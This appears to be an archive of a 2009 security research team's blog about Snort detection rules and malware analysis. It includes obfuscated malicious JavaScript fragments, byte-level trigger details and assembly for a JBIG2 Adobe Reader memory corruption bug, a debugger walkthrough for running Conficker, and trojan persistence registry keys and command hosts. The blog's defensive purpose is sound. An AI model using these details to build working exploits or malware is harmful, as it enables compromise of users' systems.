Friday, February 27, 2009

Rule release for today - February 27th 2009

We've been busy again...

Microsoft Excel Code Execution (CVE-2009-0238):
Microsoft Excel contains a programming error that may allow a remote attacker to execute code on a vulnerable system. The problem occurs when Excel attempts to process a specially crafted document with an invalid object.

This issue is being actively exploited by Trojan.Mdropper.AC.

Details are available here: http://www.snort.org/vrt/advisories/vrt-rules-2009-02-27.html

Wednesday, February 25, 2009

Conficker variant B - Still detected

As with all malware, variants eventually float to the surface of the threat landscape. Conficker is no different. The latest variant imaginatively named Conficker B, still uses the same propagation methods the original used. That is, it still attempts to exploit the vulnerability outlined in MS08-067.

Thanks to the way we write detection rules for Snort, the release on 2008-10-23 (provides detection for exploit attempts targeting MS08-067), contains rules that will continue to provide detection for the Conficker worm.

Ur welcom.

Tuesday, February 24, 2009

Detecting Silly Javascript Obfuscation Techniques

Last week I got an e-mail from Edward Fjellskål, Senior Security Analyst at Sourcefire's new Norwegian partner Redpill Linpro. He'd run across a strange piece of obfuscated Javascript at hxxp://bizoplata.ru/pay.html (WARNING: CONTAINS LIVE MALWARE), and he wanted to know if I could figure out what exactly it was doing and whether it was indeed malicious.

A quick wget of that URL gave me Javascript that was clearly trying to hide something:


document.write(''+'<ifr'+'am'+'e '+String.fromCharCode(105)+String.fromCharCode( 100)+String.fromCharCode(61)+''+'"7'+'4f'+String.fromCharCode(52)+''+unescape('% 32')+'5'+'c'+unescape('%30')+unescape('%65%65%39')+unescape('%32%62')+String.fro
mCharCode(52)+String.fromCharCode(56)+''+'992a'+unescape('%65%33%62')+String.fro
mCharCode(49)+String.fromCharCode(56)+String.fromCharCode(99)+''+String.fromChar
Code(49)+String.fromCharCode(53)+String.fromCharCode(52)+''+'78'+String.fromChar
Code(98)+String.fromCharCode(97)+String.fromCharCode(34)+String.fromCharCode(32)
+''+String.fromCharCode(110)+String.fromCharCode(97)...


The question at hand, though, was what this nasty little piece of Javascript wanted to send my way at the end of the day. That's where a handy little tool called Malzilla comes in handy - it's basically a GUI front-end to SpiderMonkey, a C-based implementation of Javascript, along with some nifty features for following redirects, tweaking User-Agent strings and stuff like that:

Malzilla

I loaded the URL up in its main window, hit "Send script to Decoder", and then in the Decoder tab, hit "Run script". Out came the source for a trio of 1x1 pixel iframes, each pointing to different files on the bizoplata.ru domain. Hmmm, that's no good...

Loading up each of these three new URLs, I soon found myself playing a game of "how far down the rabbit hole can we go?", as their source was full of Javascript that pointed me to new iframes, which pointed to pages that used HTTP 302-based redirects to send me to new locations. After roughly three levels of redirect obfuscation, I finally reached the end goal - a page that contained an obfuscated version of the Microsoft Access Snapshot Viewer ActiveX vulnerability outlined in CVE-2008-2463. It wasn't exactly what I was hoping to discover - a 7-month-old ActiveX bug isn't anywhere near as fun as a fresh exploit that we could reverse-engineer and provide fresh coverage for - but clearly, it was what the attacker was using to deliver their malicious payload.

While we already provide coverage for attacks against this particular ActiveX vulnerability, via SIDs 13903-13910, I knew that those rules would be useless in the face of this particular method of exploitation, since the exploit had been so thoroughly obfuscated (an IDS would need a built-in Javascript interpreter that could dig through multiple levels of code at wire speeds in order to find this - which is unlikely in the extreme). That led to the obvious question: what could be done to help protect people against this style of exploit?

The answer is actually pretty easy: we simply detect the original JavaScript obfuscation technique. Legitimate web sites have no reason to call String.fromCharCode() more than, say, 5 times within a 500-byte space - while it's a perfectly useful function, a normal use case will be taking encoded data from a URL, database, or perhaps user input and then doing something useful with it, which will mean that you have plenty of intervening lines of code between calls to String.fromCharCode(). If some legitimate web site is obfuscating their Javascript - perhaps they're making a futile attempt to keep it proprietary - an analyst could easily follow the method I've outlined here to get to the meat of their code, and once they've determined that it's not malicious, simply ignore future alerts from visits to that web site (or better still, tell the webmaster of the offending site that they're using a technique primarily reserved for malicious code, and ask them to just de-obfuscate their Javascript).

With that in mind, a simple, fast Snort rule - SID 15362 - will do the trick to detect this attack, as well as any others that use this method of obfuscation.

Interestingly enough, when I returned to this malicious web site today to get my screen captures for this blog entry, I found that the payload had been switched up, including using a completely different style of obfuscation. The code at the web page referenced in the first paragraph here looked like:


eval(unescape('%u002f%u002a%u007a%u006e%u006d%u0065%u0078%u0067%u0063%u007a%u002a%u002f%u0076 %u0061%u0072%u002f%u002a%u0073%u0073%u006e%u0072%u006e%u006c%u002a%u002f%u0061%u0061%u0066%u0063 %u006f%u006f%u003d%u0022%u0030%u0038%u0038%u0032%u0030%u0036%u0031%u0038%u0035%u0032%u0030%u0032 %u0031%u0032%u0030%u0032%u0030%u0031%u0031%u0033%u0036%u0031%u0034%u0039...


After tracing my way through a similar set of redirects and iframes as with last week's malware, I ran across a much older, but apparently still effective, exploit - the ADODB.Stream ActiveX vulnerability from MS04-025:

Malzilla message

My first thought here was to go remind people to patch their boxes - and their grandmothers', and their crazy Aunt Millie's, and any other systems they could get access to. I mean, geez, 5-year-old exploits shouldn't be useful any more! Soon, though, I realized that I needed to be sure that we had detection for this style of obfuscation, too. It's pretty obvious how this can be achieved: by searching for calls to eval() that begin immediately with calls to unescape(), where the payload for unescape() is big. Again, there's no good reason to do this in the wild, and it's a well-known malware obfuscation technique - which means that it's worth providing detection for those who want it, even if it may generate the occasional false positive. You'll see a rule for this in today's rule release.

Sunday, February 22, 2009

Homebrew patch for Adobe AcroReader 9

People seemed a bit worred about the Adobe Reader bug, so I figured I'd take a bit of time this morning and create a home brew patch for people to protect themselves with until March 11th rolls around.

The patch is just a replacement DLL - AcroRd32.dll to be precise. Take this zip file, and unzip it into

C:\Program Files\Adobe\Reader 9.0\Reader\

And allow it to overwrite the old version.

This patch is only for Reader 9, so if you're on 8, you'll have to upgrade to apply the patch. The dll is about 19 meg too, and even the zip is almost 10 meg.

In the event that you do open a bad pdf file, you should see a pop up with the phrase "Insufficient data for an image." and nothing will show up. Reader will go on living happily.

Some caveats:

I made this patch using only windbg and a crappy hex editor because I'm at home now.

It may not prevent all attacks on jbig2 - it WILL prevent all current attacks using the method I described, but there may be others.

No warrenty expressed or implied, etc etc.

UPDATE:

Adobe has now released an update for Acrobat and Reader that takes care of this issue. We are removing our temporary fix. For more details on updating your Adobe Acrobat/Reader go here.

Friday, February 20, 2009

Adobe Acrobat and Reader Buffer Overflow Snort Rules

As promised earlier this evening we are releasing rules to detect attacks targeting this vulnerability.

More rule details are available at http://www.snort.org/vrt/advisories/vrt-rules-2009-02-20.html

Ur welcom.

Have a nice weekend! (PDF love)

Maybe you read Michael Howard's twitter feed. If so, you may be wondering why you were asked to turn off Javascript in Adobe Acrobat Reader. Well, I'm here to tell you that if you were to load a PDF file with an embedded JBIG2 image stream:

<< /Type /XObject /Subtype /Image /Width 2550 /Height 3305 /BitsPerComponent 1
/ColorSpace /DeviceGray /Filter /JBIG2Decode/DecodeParms << /jbig2Globals 13 0 R >> /Length 10 0 R /Name /X >>

stream

And the 5th byte into the stream (which is the segment header flag byte) were to have the 6th bit set indicating a large page association size:

00 00 00 01 40 00 00 33 33 33

Then the bytes shown as 00 33 33 33 above would be loaded by the following assembly in AcroRd32.dll (ecx+0x1c points to our four bytes):

5d42d889 8b411c          mov     eax,dword ptr [ecx+1Ch]
5d42d88c 85c0 test eax,eax
5d42d88e 0f84ac020000 je AcroRd32_5cd80000!PDFLTerm+0x235ad0 (5d42db40)
5d42d894 8b4e10 mov ecx,dword ptr [esi+10h]
5d42d897 8d0480 lea eax,[eax+eax*4]
5d42d89a 834481ec01 add dword ptr [ecx+eax*4-14h],1 ds:0023:07d96648=????????

eax=00ffffff
ecx=03d96660

Playing with much smaller (0x9000) or much larger would result in crashes in different areas, but in general you would control within multiples of four where you write. If you were to add to this a quick heap spray with some javascript, I don't doubt that you could write a rather reliable exploit across multiple versions of Acrobat Reader for XP, and if one were really inclined (or bored), for linux or OS X also! Yes, it crashes on all three, in versions 8 and 9. So to all of you security pros who were looking forward to a nice quiet weekend, I can't fix it, but hopefully this will make the fire drill a little less long and arduous. Have a good one!

Oh, by the way, I forgot to mention. If you happen to open an explorer window, or a browser window, or anything at all that even has the ICON of the pdf file, you're owned.

Open Source Snort rules and SEU 203 will be up in a few with coverage. The clam sigs are called Exploit.PDF-26, Exploit.PDF-27, and Exploit.PDF-28

P.S. To adobe: Matt Olney would like to know why javascript is on by default. Thanks.

Thursday, February 19, 2009

Making Conficker Cough Up the Goods

I'm not a malware gal. I really dislike analyzing the stuff. It could be an artifact of a life spent pulling apart Microsoft binaries. When Microsoft releases a binary, everything looks the same; it's not a challenge to figure out what's going on. The only challenge is how fast can you find the bug, and then how fast can you traverse the flow of the code to get there with some input. With malware though, this is anything but the case, and experience with exploitation doesn't really go very far. All you can do is apply your knowledge of asm and systems and hope you have the time to make sense of it. Conficker wasn't as frustrating as some, but it still had me cringing. The goal was to take the dll, and make it spit out some dns traffic so we could test our SO rule conficker dns detection engine which was written with a generation algorithm provided through the MAPP program in conjunction with Microsoft. We'd paired it down a good bit, and some information about randomness from other write-ups around the net conflicted with what was provided to us. Not wanting to put out incorrect protection, we decided to prove it's use with a few live samples.

The first step was to attempt to get it running. I'd read elsewhere that it had a few anti-debugging and anti-vmware techniques embedded in it, but I was confident that I could recognize those and circumvent them in the debugger. I whipped up a quick little wrapper program that simply calls LoadLibrary on the DLL, since the only export seems to be DllMain(). Apparently, this isn't enough for conficker, and it will immediately error out. The quick and dirty fix to get it to do it's thang, is to change the second argument (dwReason) from zero to one and let it roll. At this point, you can dump out the first set of unpacked code. The first section is UPX packed, and a quick look at the end of the unpacker will show you a jump to 0x1000442b. I set a breakpoint there and allowed it to unpack itself. As I originally figured that this would be all it intended to unpack, I dumped out the new code to a binary file. !vadump showed the currently executing code page to have the following properties:
BaseAddress:       10001000
RegionSize: 00019000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 01000000 MEM_IMAGE

So, to dump the code to a binary file which can be examined in IDA, you would type

.writemem conficker-loader.bin 0x10001000 0x1001bfff

After loading up this binary into IDA, rebasing it to 0x10001000, and beginning a decode, it became quickly apparent where the function table for the new code lay. All over the code there are calls such as:
seg000:10004415                 push    eax
seg000:10004416 call ds:dword_1000507C

seg000:1000507C dword_1000507C dd 77C2C21Bh ; DATA XREF: sub_10004380+96r

At 0x10005000 we find a list of dwords all in a similar range, all referenced as DATA XREF's from the code. If we walk this list, and resolve it in windbg, we find that it is the function pointer table containing all the resolved library functions for the virus. This makes reading the code in IDA a much simpler task:
seg000:10004415                 push    eax
seg000:10004416 call ds:free

Once the loading code is readable, you can look around and begin to tweak the flow of the virus to go where you'd like. I noticed that one function called LoadLibrary a number of times, but required dwReason to be 3, so I made a change and walked a few different paths. Finally, I was able to get the LoadLibrary call for conficker to return a positive value, indicating success. Since it returned so quickly, I assumed there had to be another thread of execution which was doing all of the real work, so I added a while(1) to my loader, and broke in as it toiled away. The other thread was assuredly running, and in an odd area: 0x003a1000. Dumping this code area once more and repeating the tricks above provided a working idb of the meat of the conficker virus. Knowing that the virus produces new names every day allowed me to traverse the list of imported functions to find the only two calls to GetSystemTime, and work out from there, adding comments to the file and building out the genDNSName function now shown.

The one very interesting thing is that it takes no function arguments. So if all you really want is to confirm DNS name creation, you can simply set EIP equal to the start of that function, 0x003ADD9B and set a breakpoint at the end of the loop (but before registers are incremented) at 0x003ADE77. Pointing the windbg memory window at the address allocated to store the string (which can be found at ebp+edi*4-488h) will provide you with your list of names:

0015f3b0 v n f e l x p q v . n e t . .

In conclusion, virii are a serious pain in the rear, and I'd really appreciate if you'd stop writing them so I don't have to keep reversing them L

Wednesday, February 18, 2009

MS09-002 in the wild

Yesterday we came across a website taking advantage of a programming error in Internet Explorer that allows a remote attacker to execute code on a vulnerable system. Microsoft issued an advisory (MS09-002) on February 10, 2009 and released a patched on the same day to mitigate the problem. We released same-day coverage for this and other vulnerabilities (see this blog post). The SANS ISC reported this activity in yesterdays handler's diary.

The webpage exploiting MS09-002 is on the domain of the Morning Sun (Tianjin) Int’l Trading Co., Ltd, a company based in China. Upon visiting the compromised page with Internet Explorer 7 on a vulnerable machine, a malicious script is executed, which in turn downloads an executable on the system before crashing the web broswer. Using the Sourcefire VRT Certified rules released for this issue, Snort generates events on this script as seen below:


MS09-002 alert
Pic.1: Internet Explorer object clone deletion memory corruption attempt


Additionally, ClamAV detects the downloaded file as Trojan.Rincux-2. This Trojan is a dropper that will create winnet.dll (detected as Trojan.Rincux-3) in the %SystemRoot%\system32 folder and change the registry to include the following key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\System DllName = "%System%\winnet.dll"

This causes winnet.dll to be installed as a Winlogon notification package. A Winlogon notification package is a DLL that exports functions that handle Windows logon events. This malicious DLL in turn, makes outbound requests to jiaozhu100.9966.org

There's more to come on this issue. Keep an eye on this blog.

UPDATE:

As of 11AM EST on Feb 19, 2009, another Chinese website is leveraging MS09-002 to push malware to victims. This time it is the website for Taiwanese company Hwa Jiang International Co. Ltd. The exploit is similar to the one found on the Morning Sun's website. The difference here is that the piece of malware that is being pushed to the user's computer has the filename WinUpdter.exe. This file is located in the %temp% folder and is assured to survive a reboot because of the creation of the following registry key:

HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run WindowsUpdater = "C:\DOCUME~1\[USERNAME]\LOCALS~1\Temp\WinUpdter.exe"

Note how the value name "WindowsUpdater" for the "Run" key looks Microsoft-like in order not to look suspicious to someone checking out the registry. WinUpdter.exe is packed with NPack and is a Trojan that attempts to contact 61.219.xxx.xxx to download data. Sourcefire VRT Certified rules alert on the exploit while ClamAV detects WinUpdter.exe as Trojan.Downloader-68058.

UPDATE #2:

We grabbed the MS Internet Explorer 7 Memory Corruption proof of concept exploit from milw0rm.com and tested it against the Sourcefire VRT Certified rules. The rules alert on the exploit.

Tuesday, February 17, 2009

Tony Blair has NOT died today

It seems like the Armenian Branch of Nathan Associates Inc (per a whois lookup of the IP address) is hosting a webpage claiming that former UK Prime Minister Tony Blair has died. As far a we know, Tony Blair is well as of February 17, 2009. This page uses the same template as the BBC News website. As soon as the page is loaded, the user is prompted to upgrade to the latest "Adobe Flash Version in order to watch the video" of the car crash that allegedly took the life of Tony Blair.


Pop up to get user to download latest flash version
Pic.1: Upgrade your Flash Version


Consenting to the flash update downloads: http://91.103.XXX.XXX/BBC_News_UK/2/hi/uk_news/bbc_movies/get_flash_update.exe


Trojan download screen
Pic.1: Trojan download


ClamAV detects this file as Trojan.Agent-21076. The Trojan changes the start page of Internet Explorer to the adult website adultmeeter.com and updates the Windows host file to contain entries for URL-to-IP mapping. This mapping effectively prevents users from accessing the websites for the banks Addey and Caja Madrid by typing abbey.com or cajamadrid.es in their web browers. The entries in the host file will redirect users to phishing websites.

Friday, February 13, 2009

Dcerpc2 Ruleset Now Available

Now that the Snort 2.8.4 RC-1 has been released, we at the VRT have been busy putting together a special rules file for use with this version of Snort and the new dcerpc pre-processor. We would like your assistance in testing this ruleset, the new version of Snort and the dcerpc pre-processor.

The rules file is intended to replace the regular netbios.rules file normally used with the old version of the pre-processor and prior versions of Snort. There are a couple of things to keep in mind with this release:

  1. This is a Release Candidate and as such is not yet recommended for production environments.
  2. The new dcerpc2 pre-processor MUST be used for these rules to work
  3. These rules WILL NOT work with prior versions of Snort or the older pre-processor

All false positive/negative reports with these rules can be sent directly to the Sourcefire VRT, vrt at sourcefire.com.

Before submitting a report, please read this:

http://www.snort.org/vrt/falsepos.html

The ruleset to be used with Snort 2.8.4 RC-1 is available here:

http://www.snort.org/vrt/tools/dcerpc2-snort-2.8.4-RC-1.rules

Instructions for using the rules and configuration of the dcerpc2 pre-processor is available here:

http://www.snort.org/vrt/tools/using-dcerpc2.html

Additionally, the README.dcerpc2 file that did not ship with Snort 2.8.4 RC-1 is available here:

http://www.snort.org/vrt/tools/README.dcerpc2

Tuesday, February 10, 2009

Microsoft Tuesday Coverage for February MS09-002, MS09-003, MS09-004, MS09-005

Four Microsoft Advisories to cover this month, fortunately, one of them was released in December so that left three...

Microsoft Security Advisory MS09-002:
Microsoft Internet Explorer contains programming errors that may allow a remote attacker to execute code on a vulnerable system.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 15304 and 15305.

Microsoft Security Advisory MS09-003:
Microsoft Exchange contains programming errors that may allow a remote attacker to execute code or cause a Denial of Service (DoS) on an affected system.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 15301 and 15302.

Microsoft Security Advisory MS09-004:
A vulnerability in Microsoft SQL Server may allow a remote attacker to execute code on a vulnerable system. This issue may be exploited via the sp_replwritetovarbin stored procedure.

Rules to detect attacks targeting these vulnerabilities were included in a previous release and are identified with GID 1, SIDs 15127 through 15144.

Microsoft Security Advisory MS09-005:
Microsoft Visio contains programming errors that may allow a remote attacker to execute code on a vulnerable system via malformed Visio files.

Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 15298, 15299 and 15303.

Details and rules are available here: http://www.snort.org/vrt/advisories/vrt-rules-2009-02-10.html

Friday, February 6, 2009

Important Snort rule changes and the new dcerpc preprocessor

In the very near future, the release of Snort 2.8.4 is going to bring about some major changes to the way that NetBIOS traffic is handled. This is because of the new dcerpc preprocessor.

This preprocessor handles all the decoding functions that were previously taken care of using rules and flowbits in a lot of those rules. The upshot is that the number of netbios rules released for any vulnerability that can be exploited over dcerpc is going to be reduced greatly. The number of netbios rules previously released is also going to be reduced in a similar manner.

The downside is that this functionality is only available in Snort 2.8.4 with the dcerpc2 preprocessor. There is no backwards compatibility. Also, a number of netbios rules will be deleted and replaced.

In order to keep up with current detection, upgrading Snort is the only option. A release candidate version of Snort 2.8.4 is about to be released "real soon now", during this RC period for Snort 2.8.4 and dcerpc2, the VRT will provide a replacement netbios.rules file to be used in place of the existing netbios.rules. Thus, every one of you who decides to help out with the RC will have something to work with and it will give you a nice preview of what is going to happen with the rules. Once Snort 2.8.4 is released, this file will become the new netbios.rules.

It is very important to note that the dcerpc2 preprocessor will have to be used in order to get detection using these rules. The old preprocessor will be completely deprecated, all new rules moving forward will use the new preprocessor and the keywords it provides.

The bottom line is, if you want to stay current with detection, you will have to upgrade to Snort 2.8.4 and use the dcerpce2 preprocessor. We will not be maintaining the old rules from the netbios category and we will not release any new detection using the old format.

Tuesday, February 3, 2009

Rule release for today - February 3rd 2009

New rules in web-activex, chat and specific threats. Also, modifications to shared object rules for MS08-067, little bit of a performance enhancement.

Details are available here: http://www.snort.org/vrt/advisories/vrt-rules-2009-02-03.html